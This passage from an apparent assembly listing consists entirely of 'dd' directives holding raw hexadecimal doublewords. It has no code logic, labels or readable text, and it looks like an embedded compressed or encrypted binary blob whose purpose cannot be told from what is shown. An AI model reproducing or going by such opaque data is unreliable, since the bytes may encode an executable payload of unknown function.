38F1F8h, 7D4665F0h dd 680E581Fh, 0A89C3D16h, 0F9533C0Fh, 47F47424h, 2570FF98h dd 8EB01AB3h, 13E938C8h, 77AF0C4Eh, 38806193h, 0D40F0F4Fh dd 0C04B30Eh, 0F4002229h, 8511AA9Eh, 963C150Bh, 5A5CC28Ch dd 880F0C44h, 5E983F3Dh, 9B191F63h, 1290F001h, 0C1980957h dd 0F464D5CDh, 69ADF839h, 0B2088449h, 0E23FC460h, 11D79023h dd 0CCC90024h, 0C8FDE13Fh, 665F2673h, 45AC03ECh, 2D125A3h dd 220C39D9h, 726B1276h, 312482CEh, 0B421C884h, 0FC428CB8h dd 0C161FE18h, 8029AC91h, 117D043h, 0C08B4C57h, 53C025C8h dd 5AD30483h, 23C82E98h, 7CA60048h, 59316CF9h, 0B5F5B00Bh dd 0E1682061h, 4E29DC62h, 23483A98h, 9F1B002Dh, 171CF752h dd 0E7B07700h, 1128B934h, 9518908Eh, 5699B420h, 322404E9h dd 3B15502Ch, 5E490088h, 44CA63B5h, 487E4EFCh, 6CA416DCh dd 4945180Bh, 39AF34B4h, 5F60010h, 507EE7EAh, 0C803D8A4h dd 6D295B4Fh, 8EA38097h, 4A102C2h, 0FD88A664h, 0F881D805h dd 0FF023E4Eh, 24AED061h, 349E7A7Ch, 386A1F40h, 2578B8E9h dd 4C911371h, 90CB051Dh, 0E0C024C8h, 1DE122FAh, 9625DD57h dd 245804EEh, 45861F08h, 0A1A8FE84h, 0CC14A1C8h, 0B300B964h dd 6570721Bh, 1433B2C7h, 9441BCA5h, 17E5F84h, 5DA84D19h dd 9181E022h, 0A4765494h, 0E2096018h, 72506810h, 9C4CB813h dd 9D1B60E0h, 0D3805144h, 277529E2h, 1302634h, 3CA6632Bh dd 0B18C4807h, 3FC5048Ch, 62CF90E3h, 0CDC8201Ah, 48F8763Fh dd 13416202h, 0C13C961Eh, 8C5130D0h, 0F7FDBD52h, 408AF408h dd 82F2E808h, 900167C0h, 4E1BEF17h, 0A6B11030h, 0D79D24F6h dd 0A579027Ch, 70618898h, 17F1AF61h, 8F049168h, 85B4A175h dd 28306ED5h, 3FB4AC5Ah, 58A24511h, 9852FD28h, 110C1D95h dd 22318120h, 0A8782518h, 90E0342Ah, 59996330h, 0F1001F71h dd 0FBB0C33Bh, 7684837h, 21CD2FD6h, 0B2A7E06Fh, 421688F6h dd 0C14A9D8h, 50F8873Ch, 2CE4B28Fh, 0D8182699h, 4AE2C038h dd 0E446F9C5h, 0A1004B22h, 28D24AEAh, 48C6E5D8h, 56050C82h dd 0B090ADF7h, 0F093E998h, 64453102h, 6E909155h, 0AC28380Dh dd 5A008C21h, 0DDA3B972h, 1451899Ah, 9090EA4Fh, 0A9D02F37h dd 52877005h, 0C8B4CBF8h, 9DEEC007h, 450F2CDDh, 13AF7037h dd 0C0E4CC48h, 0F9C14AFEh, 4D228446h, 4AE6BD02h, 6089E747h dd 8832292Ch, 60ED4F46h, 62631F9Ch, 0DAF0A478h, 645047D4h dd 1079610Bh, 0B4EFE30h, 2C51C5F4h, 0DBD368E8h, 20780498h dd 42D5F588h, 94D3290Ah, 8680E591h, 9694EC5Bh, 0D80F448Ch dd 0A35B8D12h, 6AB4C8h, 0BE1B6F95h, 24124874h, 9CD9601Ch dd 6DFBA002h, 30C44C42h, 70394F34h, 0EE00628Bh, 89E267B8h dd 3F709D9h, 7A14613Dh, 0F3AA65D7h, 9308B84Ch, 4441489Ch dd 9D2F455Ah, 29C20B4h, 0BC022703h, 3C5C71ADh, 308FAF80h dd 2730D9Eh, 0BBD0CA60h, 34613DD5h, 5DFA1083h, 6FC9A68h dd 0F5CDF4DEh, 60847824h, 0DC32962Bh, 0D1733B0Ch, 8BF0A5h dd 42E16557h, 2CF39875h, 5132E909h, 7EC485E8h, 4FFD04Bh dd 0C9563C08h, 9E31E0C4h, 0F1A7A207h, 18EC7EBBh, 98D6C6F9h dd 0F80D318Ch, 0A90914A5h, 144730F4h, 0ECE638AFh, 911C510h dd 400DCE1Ch, 0BBF3E890h, 0C8B971A4h, 2C60199Bh, 37F2C3A1h dd 68E6019Ah, 0C53B8482h, 0D80C60CAh, 0B932340h, 2CADF955h dd 0FD9538E1h, 0B852CE73h, 29889313h, 5DE34042h, 4314563Eh dd 695936FEh, 0BF1BCA4h, 4EC57045h, 89E8B0E3h, 25729E57h dd 822285Fh, 0AF74215Ch, 0D999861Eh, 4197A34h, 7516529Eh dd 114BC1E4h, 0C4F4798Ah, 0F441D094h, 4279B864h, 0C52B6FD0h dd 6047E434h, 955E86h, 6A16FDE8h, 429C2E4Eh, 195F450Bh dd 74A42A09h, 2184E1CBh, 931C7101h, 88090691h, 918C217Eh dd 6C38D044h, 5DF7D307h, 46259C8h, 721B2899h, 0E574003Ch dd 43FFB6B1h, 0AE05B572h, 922881C5h, 8853EE53h, 48A773Ch dd 0E360CED8h, 9127875Eh, 811445EDh, 0E15EDADBh, 7C243082h dd 6654C71Eh, 4C9CC902h, 0EE7CC44Eh, 972F8078h, 0A3015099h dd 0EA708E21h, 6048182Ch, 7F8C05E8h, 382700DDh, 99D0B583h dd 0C707C96Bh, 0FDF4141Ch, 0E8B230A5h, 7AA3A854h, 30D95E38h dd 49D318Ch, 0E1B05254h, 11E26A1Fh, 880F3EC3h, 0D4E9B4C1h dd 0BEF37409h, 9454A4EAh, 0F354E00Fh, 0B80C8830h, 0CFEA00C5h dd 0EEF53350h, 26009153h, 8D12C47Fh, 1EED6BAFh, 84932296h dd 0B49073C3h, 9C04F4B4h, 0BC921C1Fh, 4EE2C8E3h, 0BD4E903Fh dd 38B8E86Dh, 0A3F98701h, 0A5AFCD80h, 0A4019E31h, 71DA9B1Fh dd 0F5140818h, 463930Bh, 0E060DED8h, 0F923CB4Ah, 4E11D4h dd 2B4AE8A3h, 0E74C9941h, 3EB2F434h, 74C8F590h, 1C4D5D22h dd 4B389C4h, 0D34B8E10h, 0B90824E5h, 559B0410h, 0C044B817h dd 20B3BBCAh, 8C894BABh, 90979D38h, 2B6964D0h, 62C4B92h dd 0A894AE0Fh, 33E73C88h, 6784E8Ah, 95F61BFAh, 734F418Dh dd 56281050h, 0EE81268h, 50535C35h, 3F852904h, 0F3E808F9h dd 0C0EE7500h, 0E3CE5767h dd 257122EFh, 56A9700h, 0BD0B7A65h, 174B007Fh, 647D52BBh dd 0CC04309Dh, 0EB3EED5h, 6E0C24F2h, 31410F36h, 3211681Bh dd 121481B1h, 4C33F0D1h, 0E601D323h, 0D5918A5Eh, 0D8802463h dd 0EEF45ED9h, 3B559202h, 79F0A896h, 60918268h, 0B47A2DB1h dd 2BBC1B54h, 0C4359013h, 70A564C1h, 0F9719434h, 0D014D3E2h dd 3517C345h, 3C0BF74Ah, 5785D794h, 0DF4488D4h, 64960284h dd 5CEC4CACh, 0DD20A064h, 40F60379h, 0D771B143h, 0E02F314Ah dd 75002123h, 0BD9A0880h, 0D0344A9Ch, 0AA86AD34h, 52985E01h dd 2D5FA947h, 12EBEAE4h, 8788D35h, 71972E50h, 0D161DCD0h dd 78E70694h, 21DB95F9h, 0E5608B09h, 7D34D039h, 310E622Fh dd 0DA62261Eh, 745ABC56h, 0C57143FCh, 0C8B99926h, 1A4CAB1Fh dd 3999E95Ah, 74139356h, 0F7A401E0h, 845FD340h, 0D4425050h dd 8B11EE02h, 20C47874h, 6B499301h, 2098650Eh, 0E89204ECh dd 0B3809D09h, 640C87B0h, 0FFCBE211h, 4BBC623Ah, 0A4782008h dd 0F93B8CB5h, 6CF4265Dh, 77C594Bh, 0A0753C2Ah, 4E5CE16Bh dd 0BB1EEA0Bh, 237080A3h, 4E4C5D78h, 7AD44212h, 0FCC8F895h dd 0A8A80C76h, 0C31C5438h, 9CC1526Ah, 0C1EA82F2h, 23A6960h dd 0F7DF3CB4h, 0E4EAA8ADh, 44C9E048h, 0A24EC027h, 11D5138h dd 0E4985993h, 0A8969528h, 162C37A5h, 66240973h, 525E3CE4h dd 9560E402h, 785C7222h, 3651253Bh, 8CF1C46h, 5C0937B8h dd 0F66CB05Bh, 36451288h, 0C9EC8124h, 8F20137h, 0E8F39C20h dd 86093AA3h, 0A5F81C84h, 224ACBCh, 2F6122F6h, 40D10Eh dd 956B10A7h, 2D03FFC4h, 19B07DD7h, 0FD93E973h, 919B59C0h dd 9D14FD4h, 821D558Eh, 112EEE0h, 2C41F5FEh, 3C711870h dd 2F989129h, 5CA2C8A1h, 0E80C3310h, 2DC938Dh, 90FF3FC1h dd 9C86F1F5h, 46023015h, 6301C356h, 2BF6613h, 0FE45034h dd 5AC93BB7h, 0FFD78B00h, 46EFD6B5h, 0EA80060Fh, 0C295263Eh dd 8B660313h, 0FC085CAh, 5905109Bh, 455113BAh, 5FEA83h dd 55958B15h, 8906440Ah, 43DA8537h, 1F6D8D61h, 8152188Fh dd 8424F880h, 7CD05A30h, 0CB93D14h, 8069C8C3h, 32A0F3FDh dd 6A2C443Dh, 0E83053E0h, 5B201103h, 5689E4C3h, 1C22815Ch dd 0C3534300h, 1A2960B0h, 3EEB0CD7h, 0C9AE782Bh, 68A1D40h dd 0E9106AD1h, 810F370Bh, 80809CF2h, 0E34C526Bh, 8B61066Eh dd 3407B9BDh, 7D378376h, 0F020C21h, 26398C84h, 8D1A4025h dd 0F0338518h, 3D9BBFE0h, 0E9A9F199h, 0BD8907A4h, 11167A9Dh dd 8A600009h, 535061C6h, 65DDFA8Bh, 645F242Eh, 508608D7h dd 91C358C3h, 0E4489h, 0EFC35040h, 1AAC45Ch, 0AE47FF1Dh dd 8113E8F4h, 8BE9A923h, 3D60F106h, 0AF2D0024h, 4EFE3E74h dd 11432CAh, 229E8BF4h, 0D192DDC1h, 810F1ECEh, 8D0584A9h dd 0E36208F9h, 0C8C92F02h, 95011230h, 7F2A9920h, 2922A00Fh dd 0A61555B5h, 0AE8EE8Ch, 77008C1Bh, 0EA1979E0h, 6C12FF7h dd 5DED8001h, 6A882A59h, 0F40F49F6h, 0DDD238F3h, 6F2262C0h dd 4C1D979Bh, 3406CCCAh, 3107E8D3h, 51711C00h, 5E8D7698h dd 19B8E70Fh, 59C95F38h, 58556899h, 0C3725DC0h, 116C8923h dd 5545001Bh, 12D169C3h, 28E67662h, 45A0A73Fh, 0E91E41C6h dd 59A5929h, 0FBC50A2Fh, 0B9224F40h, 984C0BE6h, 4E0EDC95h dd 0D0E82C6h, 9D08E829h, 88C0051Dh, 1FBDEC4Eh, 2D35A159h dd 5623B223h, 44C35E0Eh, 19627489h, 0D80E336Ch, 40FAF3CEh dd 1DBD2B66h, 8192C00Ch, 64ECEFCFh, 0FC5A3D68h, 144A2D13h dd 0D940E8E9h, 0F2E2D1h, 56FDEABFh, 8068A5ECh, 68665A0h dd 0A940388Bh, 3606A40h, 9BA6B954h, 8A56501Eh, 168F6228h dd 9B83A2B6h, 3D3C68D1h, 14414CC0h, 14A56E1Fh, 84BCF052h dd 0A7100DA1h, 1E1BF910h, 8E28F883h, 73051326h, 401F5943h dd 0D2FA9D2Bh, 9E190142h, 3151804Dh, 20C020Eh, 3E60E60h dd 41E99588h, 0CF8A8430h, 0FD8043A2h, 0E15AF59Fh, 7FF0E7E9h dd 0FF24120Dh, 23323AD0h, 9ADD001Dh, 921E0552h, 0F267A809h dd 0ED011872h, 0D0163C8Eh, 0A99DAD81h, 885F14B1h, 32EFF286h dd 5F305776h, 4C89E4C3h, 47E02D7Ch, 7B00C357h, 0F66CA3F9h dd 63421D9Fh, 0C08BC204h, 8B82FE92h, 996820CDh, 12C40975h dd 74440B25h, 0C078D019h, 752D8B8h, 2F510F7h, 4F9D8D05h dd 0FFAC01A8h, 58585BD3h, 1E821722h, 0A53E2320h, 0F4C52033h dd 307CF50Dh, 6838D68Fh, 0D29A763Fh, 7822CE2h, 9D93608Ch dd 0B2CB0CFDh, 0BF18617Bh, 215FF309h, 0C9210255h, 0EA81000Ch dd 97242D50h, 33C172Ah, 0DBC7FDDFh, 0E67C484Ah, 68F88B80h dd 75DF01FFh, 10187549h, 58C6E714h, 54B23A56h, 0E9B28229h dd 31B00C1Eh, 0A5402A58h, 1423253Ah, 9E81B0Ah, 0EF3C1C01h dd 5230C702h, 0A9E201h, 0FCF2A1FAh, 2026B4BFh, 8232E431h dd 5F000761h, 41CB0DE9h, 107233F8h, 2C324DE4h, 0A0608A50h dd 0DF8355h, 1EF40E79h, 44A5CAF3h, 8B26E33Eh, 14EC8AA9h dd 0C456A583h, 0E00B6319h, 161ECEDDh, 73DFB5E5h, 56848863h dd 6D9D6570h, 0F1C7811Ch, 69672271h, 5A685F03h, 5C025B15h dd 2F104DF0h, 47DD8DC0h, 40D2DD08h, 8FA4E801h, 4BE2400Fh dd 34FEC019h, 26542C4h, 1DE8A23h, 0A8922D8Dh, 0F2B8A202h dd 506E0409h, 7C6E24C0h, 6A0A2441h, 0D7B70B21h, 97601531h dd 2346CDC8h, 44F061F5h, 0CB7ABFD2h, 1A0F2F29h, 9DC92B26h dd 801B1109h, 17FF6DA5h, 5AD00C0h, 0A8F8BF2Fh, 7591508Ah dd 3570E99Fh, 242A9319h, 5A7423C3h, 0AD0DF8FDh, 0D570E562h dd 298A2CB4h, 9C92D1EEh, 0E9CA8B0Bh, 0C8B71917h, 0EB7E5826h dd 10B71D80h, 0E55C9E49h, 0D3A80E0Bh, 0A5778250h, 0C94F0A28h dd 1F4D2D82h, 4D329212h, 26FDE0B1h, 4006145Fh, 0B659123Eh dd 3612560h, 0EE5BB3Ah, 9C6016E4h, 0D2FC12DAh, 29E45A1Eh dd 0E55278EEh, 601B64BEh, 4A89A13h, 0BEDA80BFh, 4B81C0DBh dd 4350F1E2h, 0E487CA89h, 0A9C5601Dh, 7BF70F06h, 0CADF90C2h dd 88B6048h, 0BA262E8Dh, 51AB108h, 25EA8A61h, 29EA0D6Ah dd 81795C1Eh, 0BA64C71Ch, 0E5E96C43h, 5A80FCF7h, 0A42AA585h dd 0FB2320F3h, 118E0F25h, 2274CE6Eh, 9D01800Bh, 8D2CB530h dd 81190585h, 5322E9h, 0B3F22E6Ah, 0CFB581h, 0BC876E51h dd 0C1FC3C1Bh, 0A32DD01Ch, 0BE98F02h, 10B65906h, 0B58D0428h dd 213F2D8h, 4C4FCA16h, 0A1735D40h, 49952980h, 235D42C1h dd 8160D000h, 0F56F96E0h, 0C1842050h, 0B9613140h, 627D11D4h dd 0A20E1D0h, 0EC5B000Fh, 0F38B1A89h, 17D10E99h, 924D918h dd 0FD975AECh, 20B2B745h, 5B805C24h, 80219195h, 81659D0Bh dd 8EC86191h, 59398C51h, 4C8912C3h, 417238h, 0A011C351h dd 717FBAEBh, 0B1148F0Ch, 208DF1ABh, 0E930151Dh, 2503350Fh dd 0FDF80771h, 404533ACh, 7AB0A4D7h, 8CF1232Bh, 41D6C52Ah dd 0BF662400h, 135640B6h, 4B099D31h, 849F59E0h, 0D9FCD991h dd 9844E985h, 12D81500h, 993C6663h, 27110001h, 0FBEA64Ch dd 1DEE187Ah, 10785A4Ch, 0E603049h, 42ABFC0h, 50023B13h dd 1C23D43Ah, 3B41A807h, 7AFA48A0h, 57822C25h, 0E5A1671h dd 0D8C3CF69h, 0E19F58Ah, 0A1C853F9h, 7203B948h, 7543E889h dd 2006D850h, 4643FABCh, 40605B19h, 61DFE4F1h, 0EFBA660Fh dd 10824BBBh, 2C9503E5h, 4A7D2405h, 8024204Ah, 4F9F37EBh dd 456E50h, 0FBFCCECBh dd 0B5DF507h, 810F2149h, 0B9600290h, 0CC35B600h, 0D5B52967h dd 0A0789213h, 0C90D99D0h, 6BA56095h, 9698931h, 0FADC9784h dd 800EA808h, 0DE69B4A8h, 1D00261Bh, 10414F43h, 0D86CBD13h dd 0AB168C4h, 0D1BF77A1h, 685FCC96h, 44C118E0h, 0F758D0Bh dd 0A532492h, 0BDFEA17Bh, 607D8C26h, 0A9C7BFFEh, 266A3F31h dd 0FC021441h, 8F93976Ch, 5D2BF128h, 3725640Ch, 0B0C2007Ch dd 0D7684328h, 974F6901h, 18408B21h, 53B8963Dh, 0DC2A4200h dd 3119FEE3h, 2519B8BCh, 22F16BDh, 0CDC80E68h, 0EE30D313h dd 8CAE6Fh, 0F3E1E286h, 0A88FA597h, 0CF275A00h, 42E9FE33h dd 61362758h, 0F9C1721Ah, 0F23568ADh, 9536A264h, 109F6BA5h dd 0C102934h, 278C3D61h, 1E832A0Fh, 0D19991D2h, 0BDA1818h dd 0E35BB2FEh, 21E13007h, 7356E9B6h, 0E5223CAh, 8944C35Ah dd 423854h, 0FB5C352h, 86B1C9BFh, 56963D2Ah, 2C01C829h dd 771816D1h, 77EF0C26h, 262C7108h, 52ED127Fh, 38B5CD57h dd 1FDE803Eh, 5536164h, 0FCBFF455h, 0B330847Ah, 0E8600C89h dd 7B53112h, 9CC8E03h, 43EE019h, 273EA76Bh, 5E1D0072h dd 0BD898F51h, 90264D09h, 5DC0284Ch, 76426778h, 92F7D700h dd 56270B47h, 0C7AA2CB6h, 0D156A96Ch, 4C491818h, 2267134h dd 20711DCEh, 0FA70B52Ch, 0E8C48425h, 0A30B7A4h, 0A85E02E4h dd 5AF90BC4h, 0C69F4C1Fh, 0EAC6F123h, 0D1862117h, 142181Dh dd 7AC04ED4h, 0C549B5D3h, 91902055h, 90D00758h, 23511393h dd 676DF4D9h, 0EFE28101h, 206CDDA5h, 244675F4h, 1CE87B58h dd 3A53008Ch, 484A5A8Dh, 650D1DA8h, 2504870Fh, 4E422E30h dd 48242084h, 1707CF4Bh, 0F687D890h, 1603B9D5h, 0CA3AA2BAh dd 0EA89261Fh, 1680750h, 0DD6AD9BCh, 439DEA01h, 913E8E9h dd 7433CDC1h, 0F2387379h, 2A64DCFFh, 90AC969h, 9A1C79B5h dd 47CE8A42h, 7DDE214h, 7DD083Fh, 601BB65Ch, 32B58D03h dd 52615BA2h, 0CA844C05h, 0E9EC5305h, 8EB60244h, 70001748h dd 0ADEA0FAEh, 8204BA17h, 590C9DFCh, 0F8C007C1h, 0BB607680h dd 6DE9C4BEh, 0D20614Eh, 3CC4D74h, 0F858E496h, 0B82E058Ah dd 0DDA51EB8h, 21FC84A0h, 0E00C192h, 3556540Ch, 523D82Ch dd 0CB94468Fh, 0C8E48068h, 3E45E95Fh, 0E1992920h, 376BA07h dd 76B120B9h, 0A210FADBh, 2309F6C8h, 3560DD95h, 520154BAh dd 80404593h, 4B4932EAh, 280C4142h, 41C53C95h, 1036504h dd 5E96346Ah, 50364B29h, 3F21E808h, 6AEAB0F0h, 163F2F5Dh dd 62550407h, 8C660001h, 48C3F6DBh, 0FC224B04h, 0E954C676h dd 680656EBh, 9CA8B852h, 2D7D265Eh, 3A6543DAh, 2E8F0C49h dd 10104D04h, 81646F77h, 0FB2BD6B8h, 472D1082h, 0AC9B0868h dd 14F3EC18h, 1EF08B04h, 61684F80h, 7F72F26h, 43391DD4h dd 7D06274Ah, 56286A53h, 751AA118h, 541754Ch, 87649868h dd 0BE2A69DBh, 4CC142D0h, 0C9E7A468h, 8205A80h, 0BF2B9D8Bh dd 82045B12h, 54AE309Ah, 0C7851515h, 3BDB5C03h, 20C430Ah dd 0F9850407h, 4184CA21h, 2E47A102h, 9A27B58Bh, 26714FBh dd 0F7976845h, 250292A5h, 67CD1C0Eh, 28580C02h, 60325375h dd 1AA1B46Dh, 970C914Eh, 5334625Ah, 0A58D04F8h, 0B257A325h dd 0F0733115h, 1288D2Bh, 0DC76792Ch, 0CB5E4760h, 0C50AAB2h dd 17659D89h, 0FF286422h, 0B97E6E35h, 1F588CF6h, 897C0ECh dd 986220F4h, 0C7EF0175h, 89645A27h, 0CF1C4725h, 1FEB5C61h dd 0E1BC3102h, 0DA1D1523h, 0A92A106Fh, 26108309h, 2C4D2F11h dd 3D883122h, 0B801FC45h, 0D2817FC7h, 0D887A55Dh, 19958B5Ah dd 0BD8056E0h, 84B6FFE8h, 100D858Eh, 0E9C88B03h, 7D1F0136h dd 39A0F1B5h, 0C03FDB33h, 7FD190CAh, 0CFF6DF15h, 409BA707h dd 0BE13F0Fh, 47458F64h, 300CB1AFh, 5F5B63AAh, 85318A04h dd 32839BB4h, 0BF2FFFBh, 0F5B50120h, 0E6E9802Bh, 525417DDh dd 898D1F52h, 4C03FFAAh, 81C70C24h, 0FF2133A4h, 0B8D38303h dd 0BC041530h, 0D45C8BC3h, 51401330h, 0ED81145Dh, 838AF9FEh dd 2005281Bh, 89542DC1h, 4FC15D0Ch, 99C281FCh, 0B025A7F4h dd 421250Dh, 53F47126h, 9D20DF98h, 31503B08h, 9258D1A4h dd 0CB2575FCh, 0C018C8B6h, 0C2D9D453h, 5930B649h, 8C17A88Eh dd 9E5B5F09h, 0FE1808BEh, 0D2A4B944h, 0D70400B8h, 64054855h dd 0D00F781h, 85D465BBh, 3840BA86h, 197D34B6h, 0C5FE8EAh dd 68FBDCEDh, 564D5804h, 61C10A75h, 1023149h, 16731B2Ah dd 0D12FCD84h, 721611ABh, 0A22F4A27h, 803D1C23h, 990B7116h dd 5C58BBB6h, 3DFCA419h, 29100442h, 5EB68822h, 57082087h dd 0C864CBA5h, 8CCD1D02h, 598B92EFh, 20362866h, 510602A5h dd 59B4C680h, 3AE92AA4h, 36BDCAAh, 35382E31h, 0DC010A8Fh dd 63784500h, 69747065h, 206E1C6Fh, 9766DD49h, 0CBF1072h dd 6C501E70h, 0CD735C65h, 0F108202Ch, 6874D464h, 3638E7FBh dd 773FF36Ch, 3D673F69h, 0B7643F63h, 3FDF2873h, 6F406173h dd 0D91F5264h, 0D06D2A2Eh, 68675420h, 79676B16h, 0AF375B7h dd 0A6047F0Dh, 70283301h, 622E7346h, 4C0EC643h, 0D1F6BF2Bh dd 1E696C9Eh, 0A0DB6497h, 70A1158Fh, 6C1E0879h, 0C2625F69h dd 29647261h, 0F423688h, 73AA6556h, 3DEF4F99h, 1E3925EFh dd 63874043h, 4E54496Bh, 118E640Fh, 0C354554Fh, 0FD6F7250h dd 0B60F1D10h, 800F8C3Bh, 0D07469E6h, 2DE40F3Dh, 4650E51Eh dd 1E8E188Eh, 0C1BDDCA0h, 0C4641658h, 412012Dh, 83A36E89h dd 0E115073h, 6835A2D8h, 95A48025h, 10F9A37Eh, 0A1472E6Ah dd 7457419h, 16942889h, 1A5824ECh, 82A36E10h, 944419E5h dd 88784325h, 8443D6FEh, 6AA34B84h, 69C48C21h, 0C488216Bh dd 7C216B52h, 216B5AC4h, 2A61C480h, 0F9100C46h, 0A2E91613h dd 0DBD1620h, 953A912Eh, 11100D95h, 0F1858E2Fh, 1D102D4Ch dd 2CE24C04h, 90A714F8h, 0BC958D11h, 3452436Bh, 0C3402803h dd 0FB893BD4h, 665B6E3Dh, 5584C4D0h, 13A29D22h, 80F04CC3h dd 118C65A6h, 78215042h, 842254E4h, 2158421Eh, 225CE488h dd 53DC2A7Ch, 0AFB40DEAh, 0CD056845h, 430C5A26h, 907C2180h dd 6484C888h, 29743278h, 0C51C132Ah, 710720A6h, 0D8824404h dd 0C8CBA7Fh, 406A24C4h, 19A59024h, 0C290BBA5h, 12255B01h dd 3B3F2C1h, 30526748h, 0E064ABD6h, 0F28EB1h, 66414DD3h dd 57034C72h, 6B198C54h, 0EBCC9000h, 5AF72F5Dh, 2E2900ECh dd 7D7F2AB7h, 31000587h, 0BA66C8F0h, 75A9E38h, 81F78A5Bh dd 446BC6C3h, 0AF8E0F25h, 52E680EBh, 1C5F0259h, 271AB368h dd 0D600BEC6h, 7ADA74DBh, 289FB605h, 81D08CDDh, 3E7DE848h dd 0ACC91F00h, 6E445A5Fh, 0EF287C00h, 0E9A8541Eh, 2558F65Eh dd 0EC238A0Fh, 66D85360h, 611FC28Bh, 8DD733FFh, 0FBF8EC8h dd 19E65B25h, 0C017898Dh, 0EB9E5961h, 8058A80Eh, 99FC57C1h dd 23EC838h, 1CF28B8Dh, 3B947F0h, 6F9BE10h, 0F1D87329h dd 0CD3D7E1Ah, 0BF648024h, 0F8514EF5h, 7037F8Fh, 9ED0B2EBh dd 14CF6011h, 2B5006D1h, 19D0AE9Eh, 450104ACh, 8FB0E883h dd 0CC2E8B1Ah, 11378DD3h, 7F7D6750h, 57CD0FD6h, 95005126h dd 9E64818h, 17BCA302h, 8B0A880Fh, 0BDC71018h, 1E6C1EEBh dd 0C06F92FBh, 66C5D834h, 0C0D07E0Fh, 690560ECh, 1F43D4ADh dd 8077E274h, 23010DD8h, 2A29DB7Ah, 0D170043Ah, 102860E5h dd 95DEA1FBh, 3B02B718h dd 0F8DF21h, 3709507Fh, 76788BD9h, 557D03F8h, 0DAF59103h dd 3C229D58h, 3D3E8848h, 7228FA32h, 463F4504h, 9E386150h dd 21834303h, 396D25B1h, 0C5C77A8h, 18EA3B31h, 398C7353h dd 5C41F3D2h, 8A61EC78h, 69250118h, 0ACE23986h, 2D1F5153h dd 1886B39Ah, 2CA1C2h, 0AE8C2ABAh, 3029B6B2h, 48EFE1F0h dd 4A11EAACh, 0A1002856h, 6EC29DB7h, 0F203F834h, 586F6120h dd 91E000FCh, 9241E251h, 0BB19162Eh, 5A19E583h, 78B766D0h dd 84050022h, 2B77F642h, 0E7903B25h, 0FAE2F401h, 0F2E9169Ah dd 58EC4EE5h, 3E523064h, 0F9433809h, 9672A600h, 6F7A20DEh dd 4C235757h, 2ADAB800h, 4ED6DEE2h, 8244E0A4h, 484961E9h dd 907DFA71h, 222C3F0h, 0AC7C812Ah, 3757F300h, 0ACD9360Dh dd 0B6740622h, 48E8B725h, 571A3D75h, 102019CFh, 3AF6A1E0h dd 0A23CE395h, 0F118EB31h, 21AED372h, 0F2182278h, 75713103h dd 493728F5h, 0C02BF088h, 3D513348h, 0E90DB776h, 70921B53h dd 64346D20h, 403BF83Ah, 0D5279BB1h, 798A037Ch, 8B532B4Ch dd 650EC100h, 0CCBB38E2h, 0B36B06E9h, 40682144h, 0F602B44h dd 0AFE1B130h, 31199055h, 155F10CCh, 0A12C1001h, 70C84766h dd 9BAB0832h, 90873C03h, 2D42D1FAh, 2A7444F5h, 0BC5031h dd 0CE47EB59h, 83C309EAh, 0C6791A67h, 0D9ABC280h, 184EE2BBh dd 0B0A6F450h, 2312CB69h, 2C047321h, 0A1003E02h, 51344079h dd 56005AE8h, 9A485CBh, 0A8D13BBAh, 3F7AB4h, 9E947938h dd 0E61471DBh, 0F62DD812h, 4825B022h, 0D10D581Ch, 49788859h dd 8B1F54D5h, 0D25FC079h, 0AEE27692h, 24D41353h, 0DC9AA8C9h dd 0AD60B151h, 2180D5F5h, 0AB09AF60h, 1DEA2C1Ah, 6419D660h dd 0C19B5332h, 0CB57ED91h, 0A1202027h, 0D800FA72h, 7638491Dh dd 15ABB7A3h, 14346DCEh, 0AF649D81h, 0F5304105h, 53F0092Ah dd 0E8177C92h, 68DA61F7h, 0D8DE664Ch, 22000CF2h, 0B2DF64B1h dd 1417B488h, 907753C3h, 3460D98Eh, 16CA2C9h, 0A8E1E709h dd 4304114Bh, 280B6831h, 42D9AAC2h, 48E4001Dh, 0F361392Eh dd 0DF3459C2h, 989C4B03h, 18C09E8Eh, 6174B625h, 3E007376h dd 0EBB3AC29h, 91247279h, 0C00F101Ch, 0E0543443h, 2AE228BBh dd 3F9D2198h, 327E3B08h, 23188518h, 0ED218498h, 0A93F083Ch dd 5C59DA00h, 99BED9h, 272D5AB4h, 0BAB18BB5h, 890A4C39h dd 204AA01Dh, 0FB337FECh, 9A31E24Fh, 80C60C18h, 5230592Bh dd 0E8D0247Bh, 0DCE508FCh, 656F006Eh, 0F5D93892h, 33436901h dd 0E6957FA9h, 77A2084h, 53D0C21Dh, 97E6209Ch, 3A80048Ch dd 9029834Bh, 0BAE14AC4h, 84A3352Ch, 0F6ABD706h, 211F6008h dd 86BAE969h, 4ADA6700h, 4449B5E2h, 95DC5C5Ch, 0DB388002h dd 2048EAD0h, 0B6007556h, 1930BC06h, 78E5D9A9h, 0A52803A2h dd 2F844E62h, 0C0745902h, 8073B5D8h, 0E42A0480h, 49DD62D1h dd 0F84054BBh, 160C7E64h, 86E5C76h, 1921CFEFh, 1CDF7920h dd 0FA0ECB14h, 0A124C9B5h, 9BBBB75Dh, 9492D044h, 48F82C68h dd 0BADC048Ch, 62C6A330h, 0E46C2012h, 0DF0107BAh, 3DAAE65h dd 3C207BF4h, 0B09952h, 2F175AE2h, 6F007CBCh, 0C9CF29C4h dd 2675BBh, 1543D60h, 0E24147A0h, 0EE71BD0Ah, 4674C0B1h dd 0B5100F1Dh, 8C884034h, 9AD6B745h, 0E4914DB8h, 31218418h dd 4B007FD2h, 974CB96Ch, 1EC7B5Eh, 80F5C5C2h, 0E2F0FAEAh dd 3A9A7E0h, 0A10770B8h, 16644A6Bh, 5BDB5410h, 3AE9C052h dd 0E3E9349Ah, 4E1EF003h, 3016F936h, 39218708h, 7A01E92Ch dd 8427F59Fh, 7D5F6F4h, 5C2828E6h, 8B077E46h, 5ECFCDEEh dd 1B478100h, 4082D7D2h, 71E434DDh, 0AC252CCEh, 0FC5A40D4h dd 0F037D653h, 0B4CA29B7h, 114674h, 0FB25727Fh, 303287Bh dd 76A1886Ch, 5902E6D2h, 90F6B10Dh, 18BE4029h, 0ADBC0188h dd 6749D1ABh, 9D91CCC5h, 8C2B5200h, 5070A380h, 0DBAC0AE3h dd 0DEB03B01h, 0D2FD9801h, 5C57E566h, 15B4BEF4h, 0B4320330h dd 0E8824200h, 14BB09A8h, 66217E0Ah, 46748075h, 53E00710h dd 899F0180h, 10A48B17h, 0F04ABCFCh, 112E6066h, 0BDA7C8Ch dd 75AD8E1Bh, 0FB4CE0B1h, 0D6B607B9h, 75BBB18Ah, 0C0D4D221h dd 1CE4C447h, 2AF0AD63h, 0A47D98F9h, 0AAF55C1Fh, 